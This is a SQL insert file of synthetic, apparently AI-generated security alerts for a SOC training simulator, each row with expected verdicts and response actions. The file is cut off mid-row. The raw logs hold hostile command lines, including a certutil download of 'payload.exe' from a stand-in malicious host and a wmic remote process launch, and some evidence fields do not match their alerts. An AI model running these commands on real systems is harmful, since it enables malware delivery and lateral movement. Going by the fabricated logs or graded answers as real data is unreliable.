INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1627, 'LOLBin Usage Detected: Certutil Download', 'critical', 'KAPE', 'Certutil was used to download a file from an external server. This technique is often employed in ransomware operations to download payloads.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:15:28Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.100\",\"username\":\"system\",\"hostname\":\"workstation-01\",\"request_body\":\"\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\temp\\\\payload.exe\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\temp\\\\payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used to download malware payloads in recent attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Malicious URL hosting ransomware payload.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of an employee workstation.\"}}],\"expected_actions\":[\"isolate_host\",\"block_url\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil is being used as a living-off-the-land binary to download malware, indicative of an ongoing attack.\"}', 'Advanced', 'IR', 7, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.821Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:28Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"198.51.100.100\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"workstation-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1628, 'Massive Data Exfiltration Alert', 'critical', 'Splunk', 'Unusually high volume of data was transferred to an external IP, indicating potential data exfiltration.', 'Data Exfil', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:05:33Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.101\",\"username\":\"data.admin\",\"hostname\":\"data-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal server IP.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The volume of data transferred to an external IP suggests an attempt to exfiltrate sensitive information.\"}', 'Advanced', 'IR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:05:33Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"data.admin\\\",\\\"hostname\\\":\\\"data-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1629, 'Phishing Email with Malicious URL', 'high', 'Proofpoint', 'A phishing email was detected with a link to a malicious site mimicking a well-known login page.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:22:47Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"\",\"username\":\"victim.user@example.com\",\"hostname\":\"email-server\",\"request_body\":\"\",\"command_line\":\"\",\"email_sender\":\"spoofed@trusted.com\",\"url\":\"http://phishing.example.com/login\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"spoofed@trusted.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address used in recent phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing.example.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting a phishing page designed to steal credentials.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing activities.\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contained a link to a known phishing site, which is an attempt to harvest user credentials.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL\",\"date\":\"2026-03-15T20:58:15.824Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1630, 'Potential False Positive: Unusual Spike in DNS Queries', 'low', 'Splunk', 'An unusual spike in DNS queries was observed, which could indicate either benign software update checks or potential data exfiltration attempts.', 'Suspicious Activity', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:07:12Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"\",\"username\":\"service_user\",\"hostname\":\"update-server\",\"request_body\":\"\",\"command_line\":\"\",\"domain\":\"update.example.com\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"update.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Domain associated with legitimate software updates.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.60\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with update services.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"The spike in DNS queries is related to legitimate software update checks, not malicious activity.\"}', 'Advanced', 'IR', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.826Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:07:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.60\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"service_user\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"domain\\\":\\\"update.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1631, 'Unauthorized RDP Access Attempt', 'high', 'Wazuh', 'An unauthorized RDP access attempt was detected from an IP previously associated with brute force attacks.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:49:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.0.2.99\",\"dst_ip\":\"192.168.1.15\",\"username\":\"administrator\",\"hostname\":\"rdp-server\",\"request_body\":\"\",\"command_line\":\"\",\"failed_attempts\":27}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 512 times for unauthorized access attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the RDP server.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP has a history of malicious activity, indicating a genuine unauthorized access attempt.\"}', 'Advanced', 'IR', 7, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"},{\"timestamp\":\"2026-03-15T20:57:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"},{\"timestamp\":\"2026-03-15T20:56:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"},{\"timestamp\":\"2026-03-15T20:55:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"},{\"timestamp\":\"2026-03-15T20:54:15.828Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:49:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.99\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"rdp-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":27}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1632, 'Suspicious WMI Execution Detected', 'high', 'Velociraptor', 'WMI was used to execute a process remotely, commonly seen in lateral movements of ransomware attacks.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:04:55Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"192.168.1.45\",\"username\":\"attacker\",\"hostname\":\"management-console\",\"request_body\":\"\",\"command_line\":\"wmic /node:192.168.1.45 process call create \\\"cmd.exe /c calc.exe\\\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.45 process call create \\\"cmd.exe /c calc.exe\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Remote execution of commands using WMI is a known technique for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal management console IP.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of targeted machine.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI to execute commands on another machine suggests lateral movement within the network.\"}', 'Advanced', 'IR', 7, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1633, 'Suspicious Certutil Activity - False Positive', 'medium', 'FTK', 'Certutil.exe was used to check the hash of a file. Routine activity but flagged due to previous misuse in attacks.', 'Suspicious Activity', 'T1140', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:02:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"\",\"username\":\"it_support\",\"hostname\":\"support-pc\",\"request_body\":\"\",\"command_line\":\"certutil.exe -hashfile C:\\\\example.doc SHA256\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil.exe -hashfile C:\\\\example.doc SHA256\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for legitimate file integrity checks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of an IT support machine.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"Certutil was used for a legitimate purpose, as part of routine IT operations.\"}', 'Advanced', 'IR', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 